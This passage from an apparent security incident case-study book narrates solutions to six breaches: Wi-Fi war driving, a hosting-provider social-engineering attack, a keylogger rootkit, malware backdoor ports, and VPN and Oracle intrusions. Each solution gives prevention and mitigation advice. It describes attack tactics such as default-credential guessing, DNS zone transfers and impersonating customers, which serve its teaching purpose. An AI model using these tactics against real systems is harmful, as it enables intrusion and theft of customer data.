You should also make adjustments to your policies and procedures to assure timely patching of OS and applications on all exposed servers (first) as well as the internal systems (second).

 ADDITIONAL RESOURCES

iDefense/VeriSign Current Intelligence:

http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities&flashstatus=false

National Vulnerability Database’s vulnerabilities search:

 http://nvd.nist.gov/

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0116:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0116

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-2732:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-2732

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-1527:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-1527

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0438:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0438

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0437:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0437

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0436:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0436

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0435:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0435

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0363:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0363

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0362:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0362

National Vulnerability Database’s AWStats vulnerability summary CVE-2005-0116, Vulnerability Note VU#272296:

 http://nvd.nist.gov/nvd.cfm?cvename=CAN-2005-0116


SOLUTION 7

Pale Blue Glow

by Tony Bradley, S3KUR3, Inc.
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Paige and Teegan went back inside and called the police to address the situation. The young man in the car turned out to be the intruder they were looking for, and he was taken into custody.

They learned that he had begun by just driving around, war driving, out of curiosity. He knew that many wireless connections were available out there, and that many of them were not secured; he set out one night with his laptop running Kismet and stumbled onto Teegan’s insecure wireless network.

“That was amazing,” said Teegan. “How were you able to get to the bottom of this incident so quickly?”

“Unfortunately,” Paige began, “your situation is not all that uncommon. When you mentioned your new wireless network and how easy it was to use your computer wherever you wanted to throughout your house, I assumed that you hadn’t taken the time to make sure it was secure first. One of the problems with the overall security of the Internet is that the vast majority of home users, such as you, buys and uses computer equipment as if it were just another appliance in the house.

“You buy a microwave oven to help cook food faster, or a vacuum cleaner to clean up dirt. Similarly, you wanted an efficient and convenient way to use your computer, so you bought a wireless router. You may see them all as devices that make your life easier, but the difference is that an attacker can’t access your personal information through your microwave, and your vacuum isn’t going to get a virus that spreads to everyone else you know who has a vacuum cleaner.

“We still have a long way to go in educating general users about the need for certain precautions and protection. Most attacks and security compromises could be stopped with a little bit of planning and an ounce of common sense—no offense.”

“None taken,” Teegan replied. “What should I do now?”

“Well, you are the only one who needs to use your wireless network, and you are the only one who even needs to know it exists. Right now, not only do you have all of the default settings on, which any attacker can figure out in under a minute, but you are broadcasting the fact that you have an insecure network.

“To begin with, you should change all of the default settings that you can. Change the SSID and the administrator username to something unique that you can remember. Change the administrator password to something you can remember but that wouldn’t be easy for an attacker to guess. You should also change the IP address of the router from its default. Most attackers would know to try 192.168.1.1 as their first try. You can change the last couple numbers to anything between 1 and 254. So, using an IP address like 192.168.111.1 would at least make it harder for an attacker to guess the IP address of the router itself.

“You also need to turn on encryption. Enabling encryption means that the data that is traveling through the airwaves between the router and your laptop will be scrambled so that only you can read it. Right now, the data could be intercepted by anyone within a couple hundred feet of here, and they would be able to read your e-mail, or capture your usernames, passwords, credit card data, or anything else that you might send across your wireless network.

“Making those changes will make you 1000 percent more secure than you were. Rather than running an open wireless network that anyone can access and broadcasting your presence, you would be running an encrypted wireless network that is obscured so that someone like the guy who broke into your system wouldn’t even know you were here.

“In your case, being the only one on the network, you could also do a couple other things to make it even more secure. One would be to use the MAC address filtering in your wireless router. You basically enter the MAC address of your wireless network card from your laptop as an authorized device, and only the devices with MAC addresses that you have approved would be able to connect to your wireless network. See Figure S7-1 on your wireless router console. If you check the box Turn Access Control On, only your own MAC address would be allowed to connect.
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Figure S7-1. Wireless router configuration window showing how to allow or deny access based on the unique MAC address of the wireless device



“You could also turn off DHCP (Dynamic Host Configuration Protocol), the component of your router that automatically assigns an IP address to your laptop. You could manually assign an IP address to your laptop and turn off DHCP so that any rogue device that might attempt to connect with your wireless network would not automatically receive a valid IP address.”

“It sounds complicated,” Teegan complained.

“I suppose for somebody who doesn’t know their way around computers or routers, some of it may seem quite foreign. But, it really only takes a few minutes to make those changes, and those few minutes will make all the difference in the safety and security of your computer, and for our company network as well.”

Paige walked Teegan through making the changes rather than just doing it for him. It would have been faster to do it herself, but she didn’t want Teegan calling her every time something went wrong, so it seemed wiser to teach him how to do it for himself.

“All right, that takes care of you and your network,” Paige said as she was getting ready to leave. “Now I need to figure out how to protect the company network from other users like you—no offense.”

“None taken,” Teegan replied with a smile, as he showed her to the door.

[image: image] ANSWERS

1. As Paige explained in helping Teegan secure his wireless network, a few minutes spent understanding wireless network security and the configuration of his particular router go a long way when it comes to using the wireless network safely.

Changing default settings such as the default IP address, SSID, administrator account username, and password are all things that should be done as soon as the device is plugged in. Other security measures can be taken as well, include disabling the broadcast of SSID information and perhaps filtering authorized devices based on their MAC address. Lastly, encryption, whether WEP, WPA or WPA-2, must be enabled to scramble the data so that others can’t simply intercept it as it travels through the air.

2. Disabling the ability for VPN users to access their local networks and resources while connected to the internal company network through the VPN tunnel removes a very large security concern.

With split-tunneling on the VPN, the connection between the user’s computer and the company network may be going through an encrypted tunnel, but any computer that could access the user’s computer or local computer network would also be able to traverse to the internal company network. The point of the VPN connection is to ensure a secure and protected connection between the client machine and the corporate network.

3. The current procedure is to review the VPN and other access logs manually on a weekly basis. This is better than nothing, and it did lead to this compromise being discovered, but it also means that seven days could go by in which a compromise is undetected, or that it could be missed entirely.

By implementing an intrusion detection system (IDS) or intrusion prevention system (IPS) solution, anomalous traffic could be detected automatically in real time. A security incident management (SIM) solution could also be used to analyze input from a variety of sources and alert administrators if any suspicious activity is detected.

4. By mandating that VPN users have systems that are up to date with their patches and virus protection and running some sort of firewall and anti-spyware software, Capitalism Lending can make sure that its users are at least using relatively secure computers to connect to the network. By implementing a network access control (NAC) solution to verify compliance automatically and deny access to systems that don’t meet the requirements, the network can be safeguarded against insecure systems.

[image: image]   PREVENTION

A security incident like this one can be prevented through a variety of technologies or procedures.

For starters, the VPN solution should include a way to verify automatically that the user’s computer has the required security software in place. To protect the network, it is important that the users have updated antivirus software, anti-spyware software, and a personal firewall of some sort running. If an NAC solution were implemented, the VPN could automatically verify whether or not the client machine was patched and running the necessary security applications, before allowing it to connect to the network.

Another step that could be taken would be to disable split-tunneling functionality within the VPN. Split-tunneling means that while the user has an encrypted tunnel between his or her home computer and the network using the VPN connection, the user is also still able to access his/her home network resources. Without split-tunneling, users can’t see other computers on their home networks or surf the public Internet or access printers, but those external devices are also prevented from compromising the company network.

[image: image]   MITIGATION

This scenario could be mitigated through clearly defined policies and user awareness training.

In general, what home users do or don’t do regarding the protection of their home computer is not relevant to the company. But when employees are allowed to use personal computer equipment to access company resources, that changes.

It is important to have a thorough and comprehensive policy regarding the acceptable use of VPN or other remote connectivity solutions and ensure that users have the necessary antivirus, firewall, or other security software in place to protect the company network.

Frequent user awareness training, written or communicated at a level that technical novices can understand, and framed in a way that users can comprehend how it relates to them or their use of the computer, can help secure not only the corporate network infrastructure, but it can also increase the overall security awareness of the Internet population at large, which makes the entire Internet safer for everyone.

The company help desk or technical support team should be willing to invest whatever time they can to answering questions or helping users gain a better understanding of the technology they are using and the security measures necessary to use it safely.

ADDITIONAL RESOURCES

JiWire, “Complete Guide to Wi-Fi Security”:

 http://www.jiwire.com/wi-fi-security-introduction-overview.htm

Microsoft’s “How to Secure Your Wireless Home Network with Windows XP”:

 http://www.microsoft.com/windowsxp/using/networking/
learnmore/bowman_05february10.mspx

Windowsecurity.com, “How Secure Are Windows Terminal Services?”:

 http://www.windowsecurity.com/articles/Windows_Terminal_Services.html

eWeek, “Startups Rush to Fill Network Access Control Void”:

 http://www.eweek.com/article2/0,1895,1860588,00.asp




SOLUTION 8

Crossing the Line

by Todd Lefkowitz
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Steven hung up the phone with Shawkemo Web Hosting and turned to Marc and Suzie. “I’ll be damned; we’ve just been owned up by a social engineer.” “What in the world is a social engineer?” Suzie asked.

“A social engineer is a hacker who uses psychological tactics to circumvent the human element of information security,” Marc responded. “You see, information security is only as strong as the people who administer it.”

“You got it. Shawkemo Web Hosting’s poor security policy or lack thereof resulted in a compromise, which directly affected us,” Steven declared with a sigh and obvious frustration. “As a matter of fact, there is something I want to check out.” He opened his e-mail and navigated to his trash folder. He remembered seeing an unread e-mail in this folder earlier, which he thought was odd. Sure enough, he saw an e-mail notification from Shawkemo Web Hosting that indicated a change of password to the account. “I knew I didn’t feel right about seeing unread e-mail in my trash can. It looks like the social engineer used my name to compromise our account by having the password reset. Because Shawkemo also manages our e-mail server and allows online web access via the administrator console, it would have been trivial for the attacker to intercept the password e-mail notification and delete it. He would have been better off if he’d purged the e-mail from the trash as well, though. Sloppy on his part….”

“And once he had the password changed, he swapped out our main product index page with his own, which redirected all site traffic to his own mirror site. He also made the effort to register an extremely similar web address with the hope it wouldn’t be noticed too quickly,” Suzie added, with piqued interest and a tinge of excitement in her voice, as she unraveled the mystery.

“That’s right. And he used his own shopping cart to siphon as many credit card payments into his own account as he could,” Steven postulated.

After a complaint was filed by Polpis Technology Solutions, Shawkemo Web Hosting realized the dangerous ramifications of not having the appropriate governance and compliance policies to support an effective and appropriate security program. When dealing with the management and storage of confidential and sensitive information, companies need to take the utmost care in ensuring that they guard their data to prevent a loss of confidentiality, integrity, and availability. Shawkemo had let its client down.

[image: image] ANSWERS

1. Full control of the DNS would permit the social engineer to poison the DNS entries for whatever sites the attacker wanted to compromise. This would be another method of redirecting the unsuspecting user to the attacker’s mirror site. The user would enter the correct address; however, address resolution on behalf of the DNS server would bring the web user to the malicious site.

2. This attack could have been successfully prevented with the appropriate level of user authentication. Authentication of user identity should be managed by validating confidential information that only the user wanting to authenticate would know. Training and user awareness is also a critical component in preventing this type of attack. Employers should train and reinforce training with their employees often and ensure that a mechanism is in place to force compliance of the training material.

3. The complexity of this attack is considered moderate. The most challenging aspect of this attack is for the attacker to sound like a convincing user, have confidence, and use a plausible story. Sufficient knowledge and background of the target and victim is correlated to the success of the attack. The more the attacker knows, the more successful he or she is likely to be. Further, friendliness and a nice attitude go a long way.

[image: image]   PREVENTION

Due to the nature of this attack, Polpis Technology Solutions, via a lack of sufficiently enforced policies regarding password management by Shawkemo Web Hosting, was susceptible to a loss of integrity and confidentiality. Further, it would have been trivial for an attacker using the same methods to halt the company’s website availability.

In the case of Shawkemo Web Hosting, the appropriate protocol would have been to gain proper authentication of the user’s identity. Employees need to understand the value and importance of being able to say “No” when certain correct conditions are not met; there should be no compromise to the guidelines of the applicable policy.

An example of user authentication that could have possibly prevented this exploit is the process of asking all users requesting assistance over the telephone for a piece of verifiable information. This information should be a piece of confidential data of which only the caller and the support line tech personnel have knowledge. In many cases, companies use employee identification numbers, which are generally known only to the employee and support personnel.

Frequent and effective training and user awareness are critical components to the prevention of social engineering. Companies need to be diligent in governing policies, procedures, and behaviors that foster a safe personal and corporate work environment. It is imperative that education occurs often, to ensure employees are kept up to date on the most recent security trends, threat vectors, and best practices. Policy compliance is also paramount in supporting a successful security campaign. Corporations and security managers need to employ mechanisms to enforce the policies that bolster a safer corporate workplace. Without adherence to such policies, companies are leaving themselves potentially and unnecessarily exposed.

[image: image]   MITIGATION

The proper steps to mitigate the lapse in security would require a collaborative effort between the hosting provider, Shawkemo Web Hosting, and Polpis Technology Solutions.

Shawkemo Web Hosting would immediately need to change all of the user passwords on its managed devices and hosts to block the attacker from potentially regaining access to Shawkemo’s assets. Shawkemo would then need to work with Polpis Technology Solutions to roll back the previous version of all the most up-to-date web pages that were in place prior to the breach. This would restore proper functionality to the site and would prevent page redirection to the attacker’s malicious web space.

In parallel, both companies would need to contact the proper authorities in an attempt to bring the perpetrator to justice. Both companies would also need to contact all customers who were affected by the security incident. Depending on state and federal regulations, based on the geographic location of the corporations in question, information and details of the incident may be required to be released for public consumption and record.

Further, Shawkemo should then evaluate the exposed machines to ensure that Trojans, keystroke loggers, and other anti-security tools were not left behind that would potentially allow the hacker to strike again. In addition to scanning the machines for these utilities, it might be wise to monitor outbound traffic for anomalous traffic as a second line of defense.

Communication between all involved parties would need to be made readily available to raise awareness of the issue so that employees could maintain vigilance to prevent a repeat of the attack.

ADDITIONAL RESOURCES

Sfgate.com story depicting an example of loss of integrity due to website defacement through possible social engineering:

 http://sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/11/11/BAGLPFMNFP1.DTL

US-CERT site on social engineering and phishing:

 http://www.us-cert.gov/cas/tips/ST04-014.html

Wikipedia site on social engineering concepts and techniques:

 http://en.wikipedia.org/wiki/Social_engineering


SOLUTION 9

The Root of the Problem

by Tony Bradley, S3KUR3, Inc.
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Noah had been able to see that a Trojan called ProAgent was hidden on Greg’s laptop, and he found out from the Trend Micro website that the Trojan should be gathering information and sending it out to an e-mail account.

Noah wanted to be more sure that this was, in fact, what was going on. He went back to his own desk, where he had access to a span port connection to troubleshoot and analyze the switched network traffic, to try and catch the outbound e-mail. He sat down and opened up Ethereal, an open-source packet-sniffer program, so that he could capture the data traveling across the network and see if he could find an e-mail from the ProAgent Trojan.

While Ethereal was running, he listened to his voicemails to see just how much work he was going to have to catch up on later. Unconsciously, he reached for his coffee mug and took a sip of his now ice-cold hazelnut coffee. Noah quickly spit out the stale, cold coffee and thought about getting a fresh cup.

He was going to have to leave Ethereal running for a while, so he decided to take advantage of the waiting time to step out and get some lunch, and a fresh cup of joe.

Noah came back from lunch and began to review the data captured by Ethereal. “Bingo!” he declared.

Noah came across the following e-mail being sent to some ISP based out of Asia:
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Noah found Greg and showed him the e-mail that he had captured. Greg and Noah gathered the evidence they had found and went to visit Frank Samuels. Greg began by explaining how he had become suspicious of Slyck Press coincidentally beating them time and time again since Dillon left.

Noah told Frank about the ProAgent Trojan they found running in the background on Greg’s laptop. “It is a keylogger rootkit. The file monitors the activity on Greg’s computer and logs every keystroke and mouse click.” He ended by explaining how it captured data and sent it to an external e-mail account and showed him the Ethereal output he had captured.

“I want his ass prosecuted!” Frank steamed. “I am sure he must have violated a few laws in there somewhere.”

“I don’t think there’s any doubt that laws have been broken. But I think it will be virtually impossible to link the Trojan, or the e-mail account in Asia, to Dillon specifically. We don’t have enough to prosecute with,” Noah replied. “Let me do some more digging and I’ll let you know what I find out, but I wouldn’t hold my breath if I were you.”

Frank answered, “I’ll have to take your word for it. How do we know this rootkit isn’t running on other computers as well?”

“We don’t,” Noah answered. “I will have my team check out each system using the BlackLight utility we used to find the hidden Trojan on Greg’s laptop and report back to you once we’re done.”

“Let’s see if Slyck Press can still outdo us without insider information,” Greg chimed in.

[image: image] ANSWERS

1. Netstat is a command-line tool that is built into Windows and offers many of the same features and information as Foundstone’s FPort. FPort provides more functionality, such as the ability to link the listening port to the process running it, though, and it is provided by Foundstone for free, so cost is not a factor.

2. The company should not have allowed Dillon to serve out his two weeks’ notice. Whether being terminated or leaving voluntarily, a departing employee’s dedication to the company no longer exists. For a position with the amount of power that a network administrator typically has, it is not wise to allow continued access to computer and network resources once the decision has been made that the person will be leaving the company.

3. Removable media, particularly USB flash drives, pose a security risk for many companies. They are convenient and efficient for use in transferring and transporting data, but their small size makes them difficult to monitor, and they can be used for unethical or malicious purposes as well.

Unless a business need necessitates their use, it may be wise to prohibit them. If they are necessary, only company-issued removable media should be allowed, and it should be issued only to the authorized personnel who need it. Security measures should be taken to encrypt or protect the data in the event that the removable media is lost or stolen.

Regardless of whether removable media is prohibited or not, a policy should exist governing where and how it is to be used. Group policy can be used to disable the USB ports on critical or sensitive systems. While no inherent control exists in group policy to disable USB devices, you can extend the functionality of group policy using a custom administrative (ADM) template and use that to disable USB storage. In the case of Markwell Publishing, the company chose to implement an application providing it with broader and more effective control of various removable media.

4. Ensuring that antivirus and anti-spyware are installed and kept up to date will help to prevent compromise from various forms of malware. Rootkits are a newer threat, and not many tools are available to detect or block them in real-time. F-Secure is the first major antivirus software vendor to include rootkit detection in its security software.

Periodically scanning sensitive or critical systems manually using a product like F-Secure’s BlackLight can help to protect against the threat of rootkits, and using tools such as Ethereal, or an intrusion detection system (IDS) or intrusion prevention system (IPS) product, can help to detect and identify suspicious or malicious traffic on the network, which might alert you to the presence of a rootkit.

[image: image]   PREVENTION

As a matter of human resources policy, Dillon should not have been allowed to continue working once he gave his notice. Whether Markwell Publishing was to terminate him immediately or pay him for the two weeks without him coming to work would be up to them. No matter how polite or understanding Frank may have tried to be, hurt feelings or bad blood is likely when a request for a pay increase is rejected.

Because of the responsibility and access that the role of network administrator involves, continued access to the network and computer resources once notice has been given poses a security risk. Obviously, an employee who loses his job no longer has the same level of loyalty and dedication that he may have possessed previously, and too many opportunities exist for a departing network administrator to plant backdoors or change system passwords or otherwise wreak havoc on the network.

The ability to use a USB flash drive or other removable media should be reduced or eliminated for company servers and desktops. As the network administrator, Dillon may have found another means of getting the rootkit onto the systems he wanted to compromise, but generally speaking, a strict policy should be in place regarding the use of removable media such as USB flash drives. Unless a business need for their use has been identified, the ability to use them should be disabled at the registry level.

[image: image]   MITIGATION

Antivirus software and anti-spyware software can protect systems from malware such as rootkits. Rootkits don’t propagate by themselves and may often be transported through some other virus or worm to infiltrate and compromise a vulnerable system.

While most antivirus software is capable of detecting and blocking viruses, worms, Trojans, and other malware, rootkits are a newer threat that are not necessarily detected by all. F-Secure is the first antivirus software vendor to include rootkit detection abilities into its product.

When an employee such as a network administrator, with a high degree of access to network and system resources, leaves the company, all system passwords and access controls should be changed as soon as possible.

Running standard computer and network security measures such as firewalls, antivirus, and anti-spyware software are all good for routine, day-to-day protection. To detect or identify suspicious and malicious activity that might be missed by those security tools, though, tools such as an IDS or IPS should also be used and a process should exist for regular, periodic review of logfiles.

Periodically capturing data with a tool like the Ethereal packet sniffer, or periodically performing additional scans of servers and workstations using a product like F-Secure’s BlackLight, can also help to mitigate the risk.

ADDITIONAL RESOURCES

Foundstone FPort:

 http://www.foundstone.com/resources/proddesc/fport.htm

Sysinternals Process Explorer:

 http://www.sysinternals.com/Utilities/ProcessExplorer.html

Helix Live CD:

 http://www.e-fense.com/helix/contents.php

F-Secure BlackLight:

 http://www.f-secure.com/blacklight

O’Reilly Windows Devcenter, “Disabling USB Storage With Group Policy”:

 http://www.windowsdevcenter.com/pub/a/windows/2005/11/15/ disabling-usb-storage-with-group-policy.html

Microsoft support, “Use Group Policy to disable USB, CD-ROM, Floppy Disk and LS-120 drivers”:

 http://support.microsoft.com/default.aspx?scid=kb;en-us;555324

Rootkits: Subverting the Windows Kernel, by Greg Hoglund and Jamie Butler (Addison-Wesley Publishing, 2005)


SOLUTION 10

Firewall Insights

by Anton Chuvakin, netForensics, Inc.

[image: images]

While the bank had purchased a lot of security gear, its security was not based on any coherent approach or a methodology, such as defense-in-depth. Haphazard deployment of security software and hardware provides weak and incomplete protection from whatever threats that are lurking on the Net.

[image: image] ANSWERS

1. In addition to outbound connection from servers, one can look for other indicators, such as these:

[image: image]   Strange connections accepted by servers on supposedly unused ports, such as high ports (above 1024)

[image: image]   Strange and especially high-volume connections, scans, and sweeps initiated by the internal systems

[image: image]   Mysterious crashes and new programs appearing on the desktop

[image: image]   Refer to SANS Intrusion Discovery checklists for other signs (see “Additional Resources” section)

2. If a system is compromised, even if it happened a long time ago, the investigation should be initiated as soon as possible, since the attacker might return and cause more problems, possibly with grave consequences. Since an attack can happen at any moment, at least the first steps of incident response (such as preventing the spread of the problem— containment) need to be performed as soon as possible, and not “later today, maybe.”

3. What legitimate communications to Internet addresses may be initiated by a production Windows 2003 server? A Windows 2003 server may

[image: image]   Send a comment to Microsoft Update.

[image: image]   Update application-specific services, such as those from Adobe and other legitimate vendors.

[image: image]   Connect to antivirus solution providers to update virus definitions.

4. This is a trick question! You can’t really reliably conclude that by looking only at firewall logs.

5. “Wouldn’t they notice that they are not able to connect and [on port TCP 6667] and stop?” The attacker might not notice that he/she couldn’t connect, since “they” in this case may be a bot—a piece of malware programmed to call a specific IRC channel for instructions.

6. These ports are used by common malware, rampant at the time:

[image: image] TCP 3127 was used by the MyDoom worm (see DShield site http://www.dshield.org/port_report.php?port=3127).

[image: image]   TCP 6129 was used by the DameWare Mini Remote Control (see DShield site http://www.dshield.org/port_report.php?port=6129)

7. This query will look for accesses to ports 3127 and 6129 initiated from both inside and outside their network. Obviously, the attempts from the internal machines to use a backdoor port will be treated much more seriously than random probing from the Internet.

[image: image]   PREVENTION

Most of the preventative steps needed are in the area of improving process and organization. While detailed guidance goes well beyond the scope of this book, following are some good prevention steps:

[image: image]   Update a security policy and develop detailed documents, such as standards and operational procedures for dealing with events and incidents.

[image: image]   Establish regular security monitoring of network and host logs, possibly using a commercial SIM solution, or at least a home-grown one.

[image: image]   Create an incident response team (possibly with part-time members) and institute escalation and notification trees for more organized response. “Lessons learned” documents from this incident can help in this.

Many other steps are possible; refer to various security management books and resources, such as information found in the SANS Reading Room. (See “Additional Resources.”)

[image: image]   MITIGATION

Not much can be said about mitigation under these circumstances, since the compromises occurred several months prior to the time of the investigation. However, these steps will still be beneficial:

[image: image]  Review firewall rules and tighten the outbound filtering, allowing only legitimate communication for updates and other system purposes; restrict by source, destination, and port.

[image: image]   Verify the status of antivirus software to make sure updates are occurring and that the software versions are up to date; notify the appropriate personnel in case of update failures.

[image: image] Deploy personal firewalls that can block malicious program communications.

ADDITIONAL RESOURCES

DShield.org site, port queries:

 http://www.dshield.org/port_report.php?port=3127
 http://www.dshield.org/port_report.php?port=6129

MyDoom, DoomJuice descriptions at Symantec:

 http://securityresponse.symantec.com/avcenter/venc/data/w32.mydoom.a@mm.html

MyDoom, DoomJuice descriptions at McAfee:

 http://vil.mcafeesecurity.com/vil/content/v_101014.htm

SANS Reading Room:

 http://www.sans.org

SANS Intrusion Discovery checklists for Linux:

 http://www.sans.org/score/checklists/ID_Linux.pdf

SANS Intrusion Discovery checklists for Windows:

 http://www.uri.edu/security/winsacheatsheet.pdf


SOLUTION 11

Peter LemonJello’s “A Series of Unfortunate Events”

by Bill Pennington, WhiteHat Security

[image: images]

Six months had passed, and MegaFinCo still was unaware of Lily’s breach. Lily had not gone back into the server since the theft of the production data. She figured, why tempt fate?, after she made off with a database of what turned out to be 1.2 million credit card subscribers’ data. Her friend 53rg10 was busy spreading those card numbers around to all his friends in the underground. Lily received a nice new MacBook Pro for her efforts.

[image: image] ANSWERS

1. Lily most likely used a credit card skimmer to collect credit card numbers from the customers of the store where she worked. Credit card skimmers are often simple devices with a magnetic strip reader attached to collect the card details.

2. There is no relationship between Peter’s game server and MegaFinCo in so far as network connections, other than they are both connected to the Internet. The relationship is just an unfortunate coincidence—Peter happens to use both machines, something MegaFinCo has little control over, other than to prevent Peter from accessing the Internet at work.

3. No, Lily never gets root access on a MegaFinCo server, and it turns out she didn’t need to, since Peter had access to production data on his development server. Getting root is not always needed to compromise sensitive data on a machine.

4. Using public key authentication for all Secure Shell (SSH) servers would prevent the password compromise. Stopping outbound connections to non-MegaFinCo servers would be an additional step. This is unlikely to stop all access but will prevent the casual user from accessing the servers.

5. A policy of not allowing employees to access non-corporate resources from MegaFinCo networks combined with a policy of not allowing use of production data on development systems would have gone a long way toward preventing or mitigating the compromise.

[image: image]   PREVENTION

Numerous methods can be used to prevent such a compromise from occurring. The open SSH port should be blocked at the firewall to prevent Internet users at large from connecting to the devmail server directly. This would also prevent any compromise of the SSH server via a buffer-overflow or brute-force attack.

The major cause of this compromise was the reuse of passwords across multiple systems. This problem could be eliminated by using public key authentication with SSH. This eliminates the use of passwords to access remote systems and makes it far more difficult to compromise an account.

A policy should be in place at MegaFinCo, preventing users from accessing non-MegaFinCo resources from MegaFinCo resources. This policy can have some technical implementations, such as outbound firewall rules, but it should also have administrative rules such as mandatory termination for any user found violating the policy.

Production data should never be used on development systems. Furthermore, any sensitive data, in this case credit card data, should be stored only in an encrypted format. This would have prevented the loss of customer data, even though the development system was compromised.

[image: image]   MITIGATION

Once the data has been compromised, the only way to mitigate the breach is to cancel all compromised cards and reissue new cards to the compromised cardholders.

ADDITIONAL RESOURCES

OpenSSH Manual:

 http://www.openssh.org/manual.html

PacketStorm, OpenSSH backdoor:

 http://packetstorm.blackroute.net/UNIX/penetration/rootkits/

Stanford Federal Credit Union site, “What Is Card Skimming?”:

 http://www.sfcu.org/security/skimming.html


SOLUTION 12

Share and Share Alike

by Phil Robinson, Information Risk Management Plc

[image: images]

Although the VPN server is often considered “unbreakable” (a common misconception), the intruder managed to subvert it very simply. Using a peer-to-peer file-sharing program, he carried out searches on the network for common certificate extensions, including .pem, .cer, and .p12.

Unfortunately, Janice had let her son Graham use her laptop while she was busy cooking dinner, and he had installed iMesh software to share his homework and MP3s with his friends. Upon installation, this software searches the hard drive for directories holding media and successfully found such files on Janice’s desktop. It contained MP3s that she had created from her CD collection and other files relating to her work (expenses.doc, 20052006 Budget.xls, hendersonj.p12, and Company Restructure.ppt), which were then all shared on the peer-to-peer network.

The hacker had downloaded Janice’s p12 file, which contained her private key details used to access the corporate network via the VPN server. He had then located the VPN server’s IP address through scanning INCA’s external perimeter using IKE-Scan. This tool identifies VPN servers that respond to the Internet Key Exchange (IKE) protocol on UDP port 500:

[image: image]

Identifying the VPN server’s IP address, he simply imported the certificate into his computer’s registry using the Microsoft Management Console (MMC) and set up the relevant routes in the IPSec policy, giving him access to INCA’s internals.

Sam had correctly looked at the logfiles on the Oracle server and identified that around the time of the posting to the zone-j.org website, a user had logged into the server using the Oracle account via the VPN service (in reality, the logfile would contain an entry from a routable Internet IP). Sam thought that this was an anomaly, because there was no other evidence of the machine being used on a Sunday and certainly not by a DBA. His hunch that the Oracle system account had a password of oracle was true (this is, in fact, an extremely common weakness), and his use of the su command to prove this showed that the hacker had managed to switch user to the Oracle account after first guessing the wrong password (he had tried password first).

The hacker had used the VPN service to gain unauthorized access to the INCA network and had identified the Oracle database through a DNS zone transfer request to the internal name server, which he had located through sweeping the RFC 1918 address range for TCP port 53:

[image: images]

The hacker could not resist the internal name custdb1 and went straight for the host that he thought might give him the maximum impact of his escapade. Given that the system was running Oracle (a quick connection to TCP port 1521—Oracle’s TNS Listener service—confirmed this), the intruder tried the simple username/ password combination oracle/oracle to gain immediate access to the system shell.

[image: image] ANSWERS

1. An X509 certificate contains details including the Country (C), State (ST), Locale (L), Organization (O), Organization Unit/department (OU), and Common Name (CN). In this case, the X509 ID included “C=GB, ST=Gloucestershire, L=Cheltenham, O=INCAINC, OU=Staff, CN=Janice Henderson”, which revealed the organization to be INCAINC. This information could be observed in the VPN server’s access file, but it was also observed by the attacker in his MMC following an import of the p12 file into the registry.

2. The Solaris system was carrying out log rotation and the current logfile started on Monday, August 15, at midnight. Therefore, if the initial intrusion occurred before this date (which was likely, due to the information found from zone-j.org), then the current wtmpx file accessed using the last command may not contain any useful information. By using the -f flag to last and pointing it at the wtmpx file for the date range of interest, Sam could identify the interesting login to the Solaris server.

3. Using FTP (which can be observed in the second last output), the hacker had transferred a toolkit of Solaris 2.7 exploits to a “hidden” directory he had created using the shell (.warrior in the Oracle home directory). INCA had a policy not to install compilers and other interpreters on its production systems, which in this case paid off, as the attacker could not compile the tools to carry out privilege escalation (he had only user-level access to the system using the oracle account) and hence modify the machine’s logfiles. It appeared that the intruder did not have access to any other Scalable Processor Architecture (SPARC)-based binaries or indeed a SPARC system to compile the exploits elsewhere and transfer them to INCA’s system, which limited the extent of his attack.

4. The penultimate entry in the VPN server’s access log (/var/log/secure) revealed the connection (peers) IP address to be 10.233.3.3. This is where the unauthorized connection originated and was passed to the police.

5. No evidence suggested that the cracker queried the Oracle database using a SQL client such as sqlplus. He simply used the zcat utility (which shows the contents of a compressed file) to look at a file within the Oracle home directory. This file is a dump of an Oracle query that a DBA used to create a backup file of failed transactions, and it contained the 10 users whose information appeared on the zone-j.org website. This suggests that the cracker may not have had the skill to gain access to all of the users within the database, which limited the extent of the theft.

6. The server did not appear to be hardened properly, which was neglectful given that it was considered so important within the organization. Clearly, telnet and FTP are running on the system, which are plaintext protocols that pass details across the network unencrypted. The output from last also shows users logging into the system remotely as root. This is not a reasonable practice, as it does not allow for tracking of who is administrating the system—INCA should have set up user-level accounts and then restricted super-user access to the system using a utility such as sudo. The super-user credentials to the system are frequently passing unencrypted across the network. Furthermore, the server had not been audited for security weaknesses; otherwise, the presence of the oracle account with a weak password would have been previously accounted for.

[image: image]   PREVENTION

To prevent this attack, a number of additional steps should have been taken in the deployment of the VPN. While the decision to use X509 certificates over PSK as an authentication mechanism was commendable, this actually assisted the cracker in gaining access to INCA, as the X509 certificate was left on the desktop after it was imported into Janice’s computer. Following the certificate’s import, the file should have been securely removed from the laptop’s hard drive, as it was no longer required.

Additionally, it is possible to set an import passphrase on an X509 certificate, and this, too, had not been used. Otherwise, while the attacker would have been able to gain access to the file, he would not have been able to access the certificate to import it into his own registry without the correct passphrase. He also would not have been able to identify the organization that issued the certificate.

Finally, the use of additional layers of authentication to gain access to the VPN should have been deployed. A common option is to restrict access only to certain ports and protocols over IPSec, such as those associated with network authentication protocols, which require further credentials or extra factors of authentication (for example, Point-to-Point Tunneling Protocol [PPTP] or Layer 2 Tunneling Protocol [L2TP]).

Had an import passphrase been set on the X509 certificate and additional authentication been required to provide connectivity to the VPN, it would not have been possible for the attacker to compromise INCA’s network by gaining access to a single file on a remote hard drive using peer-to-peer networks.

[image: image]   MITIGATION

